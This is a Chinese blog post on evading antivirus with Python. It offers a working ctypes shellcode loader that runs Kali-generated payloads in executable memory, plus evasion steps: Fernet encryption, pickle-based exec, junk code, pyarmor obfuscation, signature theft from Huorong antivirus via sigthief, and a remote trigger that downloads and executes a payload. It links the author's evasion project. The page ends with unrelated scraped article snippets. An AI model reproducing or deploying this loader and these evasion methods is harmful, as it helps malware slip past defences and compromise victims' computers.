python免杀初探
文章目录
- loader基础知识
- loader
- 参数介绍
- evilhiding项目地址
- 免杀方式
- 修改加载器
- 花指令
- 混淆loader源码
- 修改签名
- 加壳
- 远程条件触发
- 修改ico的md5
- 加密
loader基础知识
loader
import ctypes
#(kali生成payload存放位置)
shellcode = bytearray(b"shellcode")
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
参数介绍
# virtualalloc: 申请虚拟内存
LPVOID VirtualAlloc(
LPVOID lpAddress, // 指定要分配的区域的期望起始地址。一般为null
SIZE_T dwSize, // 要分配的堆栈大小
DWORD flAllocationType, // 类型的分配
DWORD flProtect // 内存的执行权限
);
// 属性解释
flAllocationType:
MEM_COMMIT: 在内存或磁盘上的分页文件中为指定的内存页区域分配物理存储。该函数将内存初始化为零。(提交到物理内存)
MEM_REVERSE: 保留一定范围的进程虚拟地址空间,而不在内存或磁盘上的分页文件中分配任何实际物理存储。(保留虚拟内存)flProtect:
PAGE_EXECUTE_READWRITE: 内存页分配为可读可写可执行
PAGE_READWRITE: 内存页分配为可读可写#RtlMoveMemory: 将一个缓冲区的内容复制到另一个缓冲区。
VOID RtlMoveMemory(
IN VOID UNALIGNED *Destination, // 要复制到的目标
IN CONST VOID UNALIGNED *Source, // 要转移的内存块
IN SIZE_T Length // 内存块大小
);# CreateThread: 创建线程
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 安全属性,一般设置为0或者null
SIZE_T dwStackSize, // 初始栈大小, 设置为0
LPTHREAD_START_ROUTINE lpStartAddress, // 线程函数地址
LPVOID lpParameter, // 线程参数,没传参即为0
DWORD dwCreationFlags, // 创建线程标志,对线程做控制的
LPDWORD lpThreadId // 线程id
);# WaitForSingleObject: 等待线程执行完毕
DWORD WaitForSingleObject(
HANDLE hHandle, // 句柄
DWORD dwMilliseconds // 等待标志, 常用INFINITE, 即为无限等待线程执行完毕
);
生成exe
pyinstaller -F -w a.py
果然烂大街的代码生成的exe连静态都过不了
evilhiding项目地址
https://github.com/coleak2021/evilhiding.git
不能免杀了可以提Issues,stars是持续更新的动力,嘻嘻嘻。

免杀方式
修改加载器
import pickle,base64,requests,ctypes
from cryptography.fernet import Ferneturl=''
def doit(sectr):KEY={key2}fernet = Fernet(KEY)destr = fernet.decrypt(sectr).decode()class A(object):def __reduce__(self):return (exec, (destr,))ret = pickle.dumps(A())ret_base64 = base64.b64encode(ret)ret_decode = base64.b64decode(ret_base64)pickle.loads(ret_decode)
import ctypes
from cryptography.fernet import Fernet
KEY={key}
fernet=Fernet(KEY)
shellcode=fernet.decrypt({enstr})shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
花指令
t1 ="""
import randomdef partition(test_arr, low, high):i = (low - 1) pivot = test_arr[high]for j in range(low, high):if test_arr[j] <= pivot:i = i + 1test_arr[i], test_arr[j] = test_arr[j], test_arr[i]test_arr[i + 1], test_arr[high] = test_arr[high], test_arr[i + 1]return i + 1def quick_sort(test_arr, low, high):if low < high:pi = partition(test_arr, low, high)quick_sort(test_arr, low, pi - 1)quick_sort(test_arr, pi + 1, high)test_arr= []
for i in range(59999):test_arr.append(random.random())
n= len(test_arr)
quick_sort(test_arr,0, n - 1)"""
t2 ="""
import rere.search('www','www.runoob.com').span()
re.search('com','www.runoob.com').span()line= "Cats are smarter than dogs ok in shakdhaksdas";searchObj= re.search(r'(.*) are (.*?) .*', line, re.M | re.I)def double(matched):value = int(matched.group('value'))return str(value * 2)s= 'A23G4HFD567'
re.sub('(?P<value>\d+)',double, s)"""t3 ="""
import base64st= 'wo gan jue wo ma shang jiu yao bei defender gan diao a ba a bachonogchong chongcong!'.encode()
res= base64.b64encode(st)
aaa= res.decode()
res= base64.b64decode(res)
bbb= res.decode()"""
exec(t1)
exec(t2)
exec(t3)
混淆loader源码
pyarmor gen a.py
hunxiao函数
def hunxiao():openfile = 'b.py'text = open(openfile, encoding='utf-8').read()wd_df = re.findall("def (.*?)\\(", text)wd_df = list(set(wd_df))for i in wd_df:if i[0:2] == "__":wd_df.remove(i)if i == 'super':wd_df.remove(i)idlist = []for i in wd_df:idlist.append('O' + str(hash(i))[-7:])cs = len(wd_df)if cs == len(set(idlist)):while cs > 0:cs -= 1text = text.replace(wd_df[cs] + '(', idlist[cs] + '(')text = text.replace('target=' + wd_df[cs], 'target=' + idlist[cs])text = text.replace('global ' + wd_df[cs], 'global ' + idlist[cs])text = text.replace(', ' + wd_df[cs], ', ' + idlist[cs])print('successful function:', wd_df, '\n', idlist)else:print('hash repeat')file_save = open('b.py', 'w', encoding='utf-8')file_save.write(text)file_save.close()
修改签名
python sigthief.py -i D:\Huorong\Sysdiag\bin\HipsMain.exe -t HipsMain1.exe -o HipsMain.exe
加壳
- vmpro
远程条件触发
def start():try:r=requests.get(url)a = r.status_codeexcept:a = 404passif a == 200:doit(r.text)else:
修改ico的md5
iconame=f'{int (time.time() *1000)}.ico'
with open('coleak.ico',"br") as f:cont=f.read()
with open(f'{iconame}',"bw") as f:cont+=iconame.encode()f.write(cont)os.remove(iconame)
加密
key = Fernet.generate_key()
fernet = Fernet(key)
enstr = fernet.encrypt(shellcode)key2 = Fernet.generate_key()
fernet2 = Fernet(key2)with open('a.txt', 'bw') as f:f.write(fernet2.encrypt(a.encode()))
相关文章:
python免杀初探
文章目录 loader基础知识loader参数介绍 evilhiding项目地址免杀方式修改加载器花指令混淆loader源码修改签名加壳远程条件触发修改ico的md5加密 loader基础知识 loader import ctypes #(kali生成payload存放位置) shellcode bytearray(b"shellc…...
OpenCV实现物体尺寸的测量
一 ,项目分析 物体尺寸测量的思路是找一个确定尺寸的物体作为参照物,根据已知的计算未知物体尺寸。 如下图所示,绿色的板子尺寸为220*300(单位:毫米),通过程序计算白色纸片的长度。 主要是通过…...
投资研报的优质网站
投资研报:https://www.zhihu.com/question/357713923/answer/2304672553...
每日刷题|贪心算法初识
食用指南:本文为作者刷题中认为有必要记录的题目 推荐专栏:每日刷题 ♈️今日夜电波:悬溺—葛东琪 0:34 ━━━━━━️💟──────── 3:17 …...
[python]如何操作Outlook实现邮件自动化
【背景】 邮件自动化存在很多需求场景,有的场景希望会出现Outlook窗口在发送前进行一下人工检查等等的人为干预,有的则希望定时直接发送,有的需要加附件等等。本篇讨论用Python覆盖这些Outlook邮件自动化场景的方法。 【解决方法】 首先Outlook和SMTP的邮件自动化方法所使…...
2008-2021年上市公司实体企业金融化程度测算数据(原始数据+stata代码)
2008-2021年上市公司实体企业金融化程度测算(原始数据stata代码) 1、时间:2008-2021年 2、指标:股票代码、年份、交易性金融资产、衍生金融资产、发放贷款及垫款净额、可供出售金融资产净额、持有至到期投资净额、长期债权投资净…...
day02_numpy_demo
Numpy Numpy的优势ndarray属性基本操作 ndarray.func() numpy.func()ndarray的运算:逻辑运算、统计运算、数组间运算合并、分割、IO操作、数据处理,不过这个一般使用的是pandas Numpy的优势 Numpy numerical数值化 python 数值计算的python库,用于快…...
LeetCode 414. Third Maximum Number【数组】简单
本文属于「征服LeetCode」系列文章之一,这一系列正式开始于2021/08/12。由于LeetCode上部分题目有锁,本系列将至少持续到刷完所有无锁题之日为止;由于LeetCode还在不断地创建新题,本系列的终止日期可能是永远。在这一系列刷题文章…...
FPGA时序分析与约束(6)——综合的基础知识
在使用时序约束的设计过程中,综合(synthesis)是第一步。 一、综合的解释 在电子设计中,综合是指完成特定功能的门级网表的实现。除了特定功能,综合的过程可能还要满足某种其他要求,如功率、操作频率等。 有…...
Python实现一个简单的http服务,Url传参输出html页面
摘要 要实现一个可以接收参数的HTTP服务器,您可以使用Python标准库中的http.server模块。该模块提供了一个简单的HTTP服务器,可以用于开发和测试Web应用程序。 下面是一个示例代码,它实现了一个可以接收参数的HTTP服务器: 代码…...
力矩传感器模拟量与ADC采集输出数字量之间的关系
力矩传感器在测量力矩时,会输出一个模拟信号,通常是一个电压或电流信号。这个模拟信号的大小会根据所测量的力矩变化而变化。 ADC(模数转换器)是一种电子设备,可以将模拟信号转换为数字信号。ADC通过采样和量化模拟信…...
Confluence 解决PDF导出乱码问题
1.原因 PDF导出乱码是因为由于服务器缺少必要字体 2.解决办法 下载字体文件将字体文件重命名为simhei.ttf Confluence→管理→PDF导出语言支持,导入字体即可...
visual studio Qt 开发环境中手动添加 Q_OBJECT 导致编译时出错的问题
问题简述 创建项目的时候,已经添加了类文件,前期认为不需要信号槽,就没有添加宏Q_OBJECT,后面项目需要,又加入了宏Q_OBJECT,但是发现只是添加了一个宏Q_OBJECT,除此之外没有改动其它的代码,原本…...
Addressable使用指南
1、基础用法就不再赘述了,重要的属性配置: Disable Catalog Update on Startup:禁用时在初始化Addressables的时候自动更新远程的catalog(启用后可以通过代码 Addressables.CheckForCatalogUpdates()更新) Use…...
【力扣每日一题】2023.10.22 做菜顺序
目录 题目: 示例: 分析: 代码: 题目: 示例: 分析: 给我们一个数组表示每个菜的满意度,我们可以指定做哪些菜以及做的顺序,需要我们凑到一个系数的最大值,…...
MySQL 排名函数 RANK, DENSE_RANK, ROW_NUMBER
文章目录 1 排名函数有哪些?2 SQL 代码实现2.1 RANK2.2 DENSE_RANK2.3 ROW_NUMBER 1 排名函数有哪些? RANK(): 并列跳跃排名, 并列即相同的值, 相同的值保留重复名次, 遇到下一个不同值时, 跳跃到总共的排名DENSE_RANK(): 并列连续排序, 并列即相同的值, 相同的值保留重复名…...
avi视频协议的理解
可以把avi文件理解为由无数个struct结构组成的: 1. struct avifile { RIFF, AVI, struct. movi, struct hdrl} 2. struct hdrl { LIST, hdal, struct avih, struct stream0,struct stream1,struct stream2}; 3. struct stream {LIST …...
教你注册chrome开发者账号,并发布chrome浏览器插件。
本篇文章主要讲解,注册chrome开发者账号,及发布chrome浏览器插件的流程。包含插件的打包和上传。 日期:2023年10月22日 作者:任聪聪 一、前提准备:注册chrome开发者账号 说明:注册需要5美元,一…...
基于孔雀优化的BP神经网络(分类应用) - 附代码
基于孔雀优化的BP神经网络(分类应用) - 附代码 文章目录 基于孔雀优化的BP神经网络(分类应用) - 附代码1.鸢尾花iris数据介绍2.数据集整理3.孔雀优化BP神经网络3.1 BP神经网络参数设置3.2 孔雀算法应用 4.测试结果:5.M…...
支付宝小程序介入人脸识别(金融级--前端部分)
在这里只做前端部分说明: 详情参考文档:如何通过集成支付宝小程序唤起实人认证服务_实人认证-阿里云帮助中心 操作步骤 调用 API 发起认证。 发起认证服务。 调用 startBizService 接口请求认证。 function startAPVerify(options, callback) {my.call(startBizService, {n…...
DNS解析故障排查实战:从“网络不通“到定位根因的完整方法论
DNS解析故障排查实战:从"网络不通"到定位根因的完整方法论 为什么 DNS 故障总是最难发现的那一类 网络故障里,DNS 问题有一个特殊的迷惑性:它让你以为是别的问题。 用户反馈"网络断了"——其实是 DNS 解析失败&#x…...
瑞萨RZN2L ADC+DMA数据流实战:从寄存器配置到双缓冲模式解析
瑞萨RZN2L ADCDMA数据流实战:从寄存器配置到双缓冲模式解析 在嵌入式开发领域,高效稳定的数据采集系统往往是项目成功的关键。当我们面对需要连续采集传感器数据的场景时,如何确保数据不丢失、系统不卡顿,就成为工程师必须解决的难…...
嵌入式安卓驱动开发与系统优化技术详解
引言 随着物联网和智能设备的普及,嵌入式系统在现代技术中扮演着核心角色。安卓作为主流操作系统,在嵌入式领域广泛应用,特别是在工业控制、新能源设备和通信网络设备中。本文基于职位描述的嵌入式软件工程师(安卓方向)职责,深入探讨底层开发、系统优化和实际应用案例。…...
如何分析RAC启动挂起_crond与ohasd进程启动依赖链排查
ohasd.bin 启动卡住时,应先删除残留的 /var/tmp/.oracle/npohasd 管道文件,再执行 crsctl start crs;需确认目录权限正确、检查 ohasd.log 与 ocssd.log 中超时及磁盘识别问题,并验证 crsctl check has 状态是否为 online。ohasd.…...
从数据手册到实测:英飞凌IM68A1308模拟硅麦在声音信标中的性能验证
1. 认识英飞凌IM68A1308模拟硅麦 第一次拿到IM68A1308这颗模拟硅麦时,我差点以为发错了货——它的尺寸比米粒还小,封装是典型的表贴式设计。这种微型麦克风在智能车竞赛的声音信标系统中扮演着关键角色,就像给赛车装上了"电子耳朵"…...
如何快速掌握MelonLoader:Unity游戏模组加载器的完整实战指南
如何快速掌握MelonLoader:Unity游戏模组加载器的完整实战指南 【免费下载链接】MelonLoader The Worlds First Universal Mod Loader for Unity Games compatible with both Il2Cpp and Mono 项目地址: https://gitcode.com/gh_mirrors/me/MelonLoader Melon…...
运维监控体系的搭建与智能告警系统的实现
运维监控体系的搭建与智能告警系统的实现 在数字化转型的浪潮下,企业IT系统的复杂性和规模不断增长,运维团队面临着前所未有的挑战。如何高效监控系统运行状态,并在故障发生时快速响应,成为保障业务连续性的关键。运维监控体系的…...
保姆级教程:用TSM模型(PyTorch版)实现视频打架检测,从数据预处理到实时推理
实战指南:基于TSM模型的视频暴力行为检测系统开发 在公共安全领域,视频监控系统每天产生海量数据,但传统的人工监控方式效率低下且容易遗漏关键事件。想象一下,当监控中心同时处理数百路视频流时,操作员很难持续保持高…...
2026最权威的五大AI科研平台实测分析
Ai论文网站排名(开题报告、文献综述、降aigc率、降重综合对比) TOP1. 千笔AI TOP2. aipasspaper TOP3. 清北论文 TOP4. 豆包 TOP5. kimi TOP6. deepseek 追随人工智能技术的广泛应用,借助AI辅助学术写作变成了高效研究的关键办法。本文…...
【实战】AI图谱工具实战:Graphify vs GitNexus 深度对比,让AI读懂你的代码仓库
目录摘要一、问题背景:AI 读代码为什么又贵又蠢二、Graphify:面向 AI 助手的技能插件2.1 项目定位2.2 三阶段混合架构2.3 Token 缩减实测数据2.4 支持的代码语言(25 种)2.5 Always-On 集成机制2.6 安装与使用三、GitNexus…...
